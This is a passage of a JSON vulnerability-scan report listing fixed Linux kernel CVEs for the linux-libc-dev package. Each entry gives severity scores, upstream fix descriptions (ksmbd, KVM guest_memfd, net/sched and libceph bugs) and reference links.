that request to the driver. This potentially increases a\ntiming window from when a driver wants to freeze its queue to when\nrequests stop being dispatched. That scenario is off the fast path\nthough, and drivers need to appropriately handle requests during a\nfreeze request anyway.\n\nThe downside is the popped element needs to be individually freed when\nwe performed a bio plug merge. The cached request would have had to be\nfreed later anyway, but this patch does it inline with building the plug\nlist instead of after flushing it.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:47040", "https://access.redhat.com/security/cve/CVE-2026-64017", "https://bugzilla.redhat.com/2400057", "https://bugzilla.redhat.com/2432666", "https://bugzilla.redhat.com/2492413", "https://bugzilla.redhat.com/2493728", "https://bugzilla.redhat.com/2502449", "https://bugzilla.redhat.com/show_bug.cgi?id=2400057", "https://bugzilla.redhat.com/show_bug.cgi?id=2432666", "https://bugzilla.redhat.com/show_bug.cgi?id=2492413", "https://bugzilla.redhat.com/show_bug.cgi?id=2493728", "https://bugzilla.redhat.com/show_bug.cgi?id=2502449", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39797", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52973", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64017", "https://errata.almalinux.org/9/ALSA-2026-47040.html", "https://errata.rockylinux.org/RLSA-2026:47040", "https://git.kernel.org/linus/dc278e9bf2b9513a763353e6b9cc21e0f532954e%20%287.1-rc5%29", "https://git.kernel.org/stable/c/23d8ea1e303b5f32d883757a4a707e791dbc9808", "https://git.kernel.org/stable/c/388468f7e7d1eab092cf2a39fdfb502e52019ec6", "https://git.kernel.org/stable/c/97e2d08de282ef76f84ab4ccd00f1acb3f5f999e", "https://git.kernel.org/stable/c/a3fefe65b94b095c9b66420ee0ecabd9fc2e1568", "https://git.kernel.org/stable/c/dc278e9bf2b9513a763353e6b9cc21e0f532954e", "https://git.kernel.org/stable/c/f122d9968d730c2e71d5e59d0d8b7d67acb5b3bb", "https://linux.oracle.com/cve/CVE-2026-64017.html", "https://linux.oracle.com/errata/ELSA-2026-57251.html", "https://lore.kernel.org/linux-cve-announce/2026071900-CVE-2026-64017-c8ee@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64017", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8886-1", "https://www.cve.org/CVERecord?id=CVE-2026-64017" ], "PublishedDate": "2026-07-19T16:17:41.68Z", "LastModifiedDate": "2026-10-30T13:19:25.443Z" }, { "VulnerabilityID": "CVE-2026-64283", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64283", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:47cd1a05623d3aa10c9fdf9d9deacaea124028dbd830666063507a3ef164a932", "Title": "kernel: KVM: guest_memfd: Treat memslot binding offset+size as unsigned values", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: guest_memfd: Treat memslot binding offset+size as unsigned values\n\nWhen binding a memslot to a guest_memfd file, treat the offset and size as\nunsigned values to fix a bug where the sum of the two can result in a false\nnegative when checking for overflow against the size of the file. Passing\nunsigned values also avoids relying on somewhat obscure checks in other\nflows for safety, and tracks the offset and size as they are intended to be\ntracked, as unsigned values.\n\nOn 64-bit kernels, the number of pages a memslot contains and thus the size\n(and offset) of its guest_memfd binding are unsigned 64-bit values. Taking\nthe offset+size as an loff_t instead of a uoff_t inadvertently converts\nthe unsigned value to a signed value if the offset and/or size is massive.\n\nLocally storing the offset and size as signed values is benign in and of\nitself (though even that is *extremely* difficult to discern), but\noperating on their sum is not.\n\nFor the offset, KVM explicitly checks against a negative value, which might\nseem like a bug as KVM could incorrectly reject a legitimate binding, but\nthat's not actually the case as KVM_CREATE_GUEST_MEMFD takes a signed value\nfor its size, i.e. a would-be-negative offset is also greater than the\nmaximum possible size of any guest_memfd file.\n\nRegarding the size, while KVM lacks an explicit check for a negative value,\ni.e. seemingly has a flawed overflow check, KVM restricts the number of\npages in a single memslot to the largest positive signed 32-bit value:\n\n if (id \u003c KVM_USER_MEM_SLOTS \u0026\u0026\n (mem-\u003ememory_size \u003e\u003e PAGE_SHIFT) \u003e KVM_MEM_MAX_NR_PAGES)\n return -EINVAL;\n\nand so that maximum \"size\" will ever be is 0x7fffffff000.\n\nThe sum of the two is, however, problematic. While the size is restricted\nby KVM's memslot logic, the offset is not, i.e. the offset is completely\nunchecked until the \"offset + size \u003e i_size_read(inode)\" check. If the\noffset is the (nearly) largest possible _positive_ value, then adding size\nto the offset can result in a signed, negative 64-bit value. When compared\nagainst the size of the file (guaranteed to be positive), the negative sum\nis always smaller, and KVM incorrectly allows the absurd offset.\n\nOpportunistically add missing includes in kvm_mm.h (instead of relying on\nits parents).", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64283", "https://git.kernel.org/linus/eba85fee7fc6cf28fec38a5bf3c378bef9a79ca6%20%287.2-rc1%29", "https://git.kernel.org/stable/c/3f9c0fdefa0431ad7a5528d76b9cdad912500bdf", "https://git.kernel.org/stable/c/e4683654881f3303ab286e45df6f91c0675d867c", "https://git.kernel.org/stable/c/eba85fee7fc6cf28fec38a5bf3c378bef9a79ca6", "https://git.kernel.org/stable/c/f3a98d5881b9bd4807f49156143565f6aabcef1e", "https://lore.kernel.org/linux-cve-announce/2026072502-CVE-2026-64283-eed4@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64283", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://www.cve.org/CVERecord?id=CVE-2026-64283" ], "PublishedDate": "2026-07-25T10:17:08.91Z", "LastModifiedDate": "2026-11-06T17:18:45.297Z" }, { "VulnerabilityID": "CVE-2026-64389", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64389", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c6209bba34b5c98c6d02a890dde7b072e1afb3aede6b1f55cfbb20aa3f3effa3", "Title": "kernel: ksmbd: validate NTLMv2 response before updating session key", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: validate NTLMv2 response before updating session key\n\nksmbd_auth_ntlmv2() derives the NTLMv2 session key into\nsess-\u003esess_key before it verifies the NTLMv2 response.\nksmbd_decode_ntlmssp_auth_blob() then continues into KEY_XCH even\nwhen ksmbd_auth_ntlmv2() failed.\n\nWith SMB3 multichannel binding, the failed authentication operates on\nan existing session and the session setup error path does not expire\nbinding sessions. A client can send a binding session setup with a\nbad NT proof and KEY_XCH and still modify sess-\u003esess_key before\nSTATUS_LOGON_FAILURE is returned.\n\nRelevant path:\n\n smb2_sess_setup()\n -\u003e conn-\u003ebinding = true\n -\u003e ntlm_authenticate()\n -\u003e session_user()\n -\u003e ksmbd_decode_ntlmssp_auth_blob()\n -\u003e ksmbd_auth_ntlmv2()\n -\u003e calc_ntlmv2_hash()\n -\u003e hmac_md5_usingrawkey(..., sess-\u003esess_key)\n -\u003e crypto_memneq() returns mismatch\n -\u003e KEY_XCH arc4_crypt(..., sess-\u003esess_key, ...)\n -\u003e out_err without expiring the binding session\n\nDerive the base session key into a local buffer and copy it to\nsess-\u003esess_key only after the proof matches. Return immediately on\nauthentication failure so KEY_XCH is only processed after successful\nauthentication.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64389", "https://git.kernel.org/linus/954d196bebb2b50151cb96454c72dc113b2af1ac%20%287.2-rc1%29", "https://git.kernel.org/stable/c/89ca7756d5566ba636bb9092cdbe57dab095e136", "https://git.kernel.org/stable/c/954d196bebb2b50151cb96454c72dc113b2af1ac", "https://git.kernel.org/stable/c/a6a951416b55eaf51ea2742f7ba786f240e70137", "https://git.kernel.org/stable/c/b56400364aed5c34d6e1a0b493081290a5328a9c", "https://git.kernel.org/stable/c/e589e997bddde0a6f45672dd871cba7b3ff28e17", "https://git.kernel.org/stable/c/f5d74c186bab26a5d5a025305e67edd0888aa34d", "https://lore.kernel.org/linux-cve-announce/2026072527-CVE-2026-64389-de36@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64389", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://www.cve.org/CVERecord?id=CVE-2026-64389" ], "PublishedDate": "2026-07-25T10:17:22.227Z", "LastModifiedDate": "2026-10-30T13:19:35.7Z" }, { "VulnerabilityID": "CVE-2026-64400", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64400", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8ca6ff9b060838aa8f40d02e2a1906e3abfcfb2b9ad53031dcb9b97bf6b260e2", "Title": "kernel: ksmbd: prevent path traversal bypass by restricting caseless retry", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: prevent path traversal bypass by restricting caseless retry\n\nksmbd_vfs_path_lookup() enforces LOOKUP_BENEATH to restrict path\nresolution within the share root. When a crafted path attempts to\nescape the share boundary using parent-directory components ('..'),\nvfs_path_parent_lookup() detects this and immediately fails,\nreturning -EXDEV.\n\nHowever, a bug exists in __ksmbd_vfs_kern_path() under caseless mode.\nThe function fails to intercept the -EXDEV error and erroneously\nfalls through to the caseless retry logic, which is intended only\nfor genuinely missing files. During this retry process, the path\nis reconstructed, leading to an unintended LOOKUP_BENEATH bypass\nthat allows write-capable users to create zero-length files or\ndirectories outside the exported share.\n\nFix this by ensuring that the execution only proceeds to the caseless\nlookup retry when the error is specifically -ENOENT. Any other errors,\nsuch as -EXDEV from a path traversal attempt, must be returned immediately.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 2 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64400", "https://git.kernel.org/linus/54bab9ba5a9f156ffa9324fcbe5a356fd0242f95%20%287.2-rc1%29", "https://git.kernel.org/stable/c/21f050439db157f2afcc19885dec14549ca6ffc0", "https://git.kernel.org/stable/c/54bab9ba5a9f156ffa9324fcbe5a356fd0242f95", "https://git.kernel.org/stable/c/8c9a4f1327eb71efbf14842e7b8a6d965077eb67", "https://git.kernel.org/stable/c/a1c331d98313380c38f616c8b28b890ec8ef9c28", "https://git.kernel.org/stable/c/cfb5a56c218888f9d74165dff0c282cd0be97983", "https://git.kernel.org/stable/c/eec1dd2586c4016b7555a5d047db2b3756459fb2", "https://lore.kernel.org/linux-cve-announce/2026072529-CVE-2026-64400-d372@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64400", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://www.cve.org/CVERecord?id=CVE-2026-64400" ], "PublishedDate": "2026-07-25T10:17:23.51Z", "LastModifiedDate": "2026-10-30T13:19:36.18Z" }, { "VulnerabilityID": "CVE-2026-68138", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68138", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:53565d778c0766884df58c58eb410d5483c40df0002b0fd3ad67034e27fb8864", "Title": "kernel: net/sched: serialize qdisc_rtab_list against concurrent get/put", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: serialize qdisc_rtab_list against concurrent get/put\n\nqdisc_get_rtab() and qdisc_put_rtab() mutate the process-global singly\nlinked list qdisc_rtab_list and a plain non-atomic 'int refcnt' with no\nlock. This was only safe because every caller historically held the RTNL\nmutex, which serialized all rate-table lookups, inserts and frees.\n\nThat invariant no longer holds. cls_flower sets\nTCF_PROTO_OPS_DOIT_UNLOCKED, so tc_new_tfilter() keeps rtnl_held == false\nfor it and sets TCA_ACT_FLAGS_NO_RTNL. That flag propagates through\ntcf_exts_validate_ex() -\u003e tcf_action_init() -\u003e tcf_action_init_1() -\u003e\ntcf_police_init(), which calls qdisc_get_rtab()/qdisc_put_rtab() with the\nRTNL mutex NOT held. Two RTM_NEWTFILTER requests on different CPUs, each\nadding a flower filter with a police action carrying the same rate, then\nrace on qdisc_rtab_list and on the non-atomic refcnt, leading to a\nuse-after-free / double-free of the kmalloc-2k struct qdisc_rate_table.\nqdisc_rtab_list is a single global (not per-netns), so the corrupted\nobject is shared system-wide.\n\n BUG: KASAN: slab-use-after-free in qdisc_put_rtab+0x12f/0x160\n qdisc_put_rtab+0x12f/0x160\n tcf_police_init+0xda9/0x1590\n tcf_action_init_1+0x460/0x6b0\n tcf_action_init+0x439/0xa40\n tcf_exts_validate_ex+0x42d/0x550\n fl_change+0xddd/0x7da0\n tc_new_tfilter+0xaa7/0x2420\n rtnetlink_rcv_msg+0x95e/0xe90\n which belongs to the cache kmalloc-2k of size 2048\n\nProtect qdisc_rtab_list and the refcount with a dedicated spinlock. The\n(sleeping, GFP_KERNEL) allocation in qdisc_get_rtab() is performed before\ntaking the lock; if a concurrent inserter added an identical table in the\nmeantime the freshly allocated one is freed under the lock, so no\nduplicate is leaked. qdisc_put_rtab() now decrements the refcount and\nunlinks under the same lock.", "Severity": "HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:89083", "https://access.redhat.com/security/cve/CVE-2026-68138", "https://bugzilla.redhat.com/2492709", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2507296", "https://bugzilla.redhat.com/2513163", "https://bugzilla.redhat.com/2513264", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513343", "https://bugzilla.redhat.com/2524438", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2532515", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2492709", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2507296", "https://bugzilla.redhat.com/show_bug.cgi?id=2513163", "https://bugzilla.redhat.com/show_bug.cgi?id=2513264", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513343", "https://bugzilla.redhat.com/show_bug.cgi?id=2516251", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64378", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68138", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68338", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68476", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/8/ALSA-2026-89083.html", "https://errata.rockylinux.org/RLSA-2026:89083", "https://git.kernel.org/stable/c/1b050d09dd1a0ddae83bf012cf4956b7a960235f", "https://git.kernel.org/stable/c/4131dd0b6f67acddd616ed7c244e1d3eedd46e7b", "https://git.kernel.org/stable/c/6e0241f6cbb149d926ee8efee2c734fea71452cf", "https://git.kernel.org/stable/c/8ddc2eb0d2da9c83f54f1e5720525b461b8480c4", "https://git.kernel.org/stable/c/d981098b76756ed71666a27518eeb69883657c43", "https://git.kernel.org/stable/c/f43ee0c0730d6191629b5ee1ceae27b1ebfdc047", "https://git.kernel.org/stable/c/f93c89392bd3b180b5b7abc6fdae8e3dd667a313", "https://git.kernel.org/stable/c/fb29e1b41052488ee3f2d115d4a870497ebd7f7d", "https://linux.oracle.com/cve/CVE-2026-68138.html", "https://linux.oracle.com/errata/ELSA-2026-89083.html", "https://lore.kernel.org/linux-cve-announce/2026081059-CVE-2026-68138-ffa7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68138", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68138" ], "PublishedDate": "2026-08-10T13:19:59.41Z", "LastModifiedDate": "2026-10-19T21:17:53.507Z" }, { "VulnerabilityID": "CVE-2026-68159", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68159", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d85cdcbb0a564e04698adac8a40874e2e7f2773e035d72baa42a2c76ee1e341d", "Title": "kernel: Linux kernel: libceph stack out-of-bounds write via crafted OSDMap", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nlibceph: bound pg_{temp,upmap,upmap_items} length to CEPH_PG_MAX_SIZE\n\n__decode_pg_temp() decodes an user-controlled length but only rejects\nvalues large enough to overflow the allocation; it does not bound it to\nCEPH_PG_MAX_SIZE. The helper backs both pg_temp and pg_upmap decoding, and\napply_upmap()/get_temp_osds() later copy the decoded list into the fixed-size\non-stack array struct ceph_osds.osds[CEPH_PG_MAX_SIZE]. A monitor that sends\nan OSDMap with a pg_temp/pg_upmap entry longer than 32 thus causes a stack\nout-of-bounds write.\n\nAn OSD set for a single PG can never exceed CEPH_PG_MAX_SIZE, so reject longer\nentries at decode time. The bound is well below the old overflow threshold, so\nit also covers the allocation-size overflow the previous check guarded against.\n\n BUG: KASAN: stack-out-of-bounds in ceph_pg_to_up_acting_osds\n Write of size 4 ... by task exploit\n kasan_report (mm/kasan/report.c:595)\n ceph_pg_to_up_acting_osds (net/ceph/osdmap.c:2617 net/ceph/osdmap.c:2833)\n calc_target (net/ceph/osd_client.c:1638)\n __submit_request (net/ceph/osd_client.c:2394)\n ceph_osdc_start_request (net/ceph/osd_client.c:2490)\n ceph_osdc_call (net/ceph/osd_client.c:5164)\n rbd_dev_image_probe (drivers/block/rbd.c:6899)\n do_rbd_add (drivers/block/rbd.c:7138)\n ...\n kernel BUG at net/ceph/osdmap.c:2670!\n\n[ idryomov: do the same in __decode_pg_upmap_items() ]", "Severity": "HIGH", "CweIDs": [ "CWE-121" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:68570", "https://access.redhat.com/security/cve/CVE-2026-68159", "https://bugzilla.redhat.com/2439924", "https://bugzilla.redhat.com/2461462", "https://bugzilla.redhat.com/2482098", "https://bugzilla.redhat.com/2482127", "https://bugzilla.redhat.com/2482550", "https://bugzilla.redhat.com/2482618", "https://bugzilla.redhat.com/2492436", "https://bugzilla.redhat.com/2492741", "https://bugzilla.redhat.com/2492742", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2492779", "https://bugzilla.redhat.com/2492792", "https://bugzilla.redhat.com/2502295", "https://bugzilla.redhat.com/2502347", "https://bugzilla.redhat.com/2502368", "https://bugzilla.redhat.com/2502412", "https://bugzilla.redhat.com/2502434", "https://bugzilla.redhat.com/2502438", "https://bugzilla.redhat.com/2502575", "https://bugzilla.redhat.com/2502580", "https://bugzilla.redhat.com/2502596", "https://bugzilla.redhat.com/2511448", "https://bugzilla.redhat.com/2513165", "https://bugzilla.redhat.com/2513171", "https://bugzilla.redhat.com/2513271", "https://bugzilla.redhat.com/2513286", "https://bugzilla.redhat.com/2513477", "https://bugzilla.redhat.com/2516490", "https://bugzilla.redhat.com/2516599", "https://bugzilla.redhat.com/2516679", "https://bugzilla.redhat.com/2516684", "https://bugzilla.redhat.com/show_bug.cgi?id=2439924", "https://bugzilla.redhat.com/show_bug.cgi?id=2461462", "https://bugzilla.redhat.com/show_bug.cgi?id=2482098", "https://bugzilla.redhat.com/show_bug.cgi?id=2482127", "https://bugzilla.redhat.com/show_bug.cgi?id=2482550", "https://bugzilla.redhat.com/show_bug.cgi?id=2482618", "https://bugzilla.redhat.com/show_bug.cgi?id=2492436", "https://bugzilla.redhat.com/show_bug.cgi?id=2492741", "https://bugzilla.redhat.com/show_bug.cgi?id=2492742", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2492779", "https://bugzilla.redhat.com/show_bug.cgi?id=2492792", "https://bugzilla.redhat.com/show_bug.cgi?id=2502295", "https://bugzilla.redhat.com/show_bug.cgi?id=2502347", "https://bugzilla.redhat.com/show_bug.cgi?id=2502368", "https://bugzilla.redhat.com/show_bug.cgi?id=2502412", "https://bugzilla.redhat.com/show_bug.cgi?id=2502434", "https://bugzilla.redhat.com/show_bug.cgi?id=2502438", "https://bugzilla.redhat.com/show_bug.cgi?id=2502575", "https://bugzilla.redhat.com/show_bug.cgi?id=2502580", "https://bugzilla.redhat.com/show_bug.cgi?id=2502596", "https://bugzilla.redhat.com/show_bug.cgi?id=2511448", "https://bugzilla.redhat.com/show_bug.cgi?id=2513165", "https://bugzilla.redhat.com/show_bug.cgi?id=2513171", "https://bugzilla.redhat.com/show_bug.cgi?id=2513271", "https://bugzilla.redhat.com/show_bug.cgi?id=2513286", "https://bugzilla.redhat.com/show_bug.cgi?id=2513477", "https://bugzilla.redhat.com/show_bug.cgi?id=2516490", "https://bugzilla.redhat.com/show_bug.cgi?id=2516599", "https://bugzilla.redhat.com/show_bug.cgi?id=2516679", "https://bugzilla.redhat.com/show_bug.cgi?id=2516684", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23172", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45910", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46043", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53192", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63869", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63913", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63921", 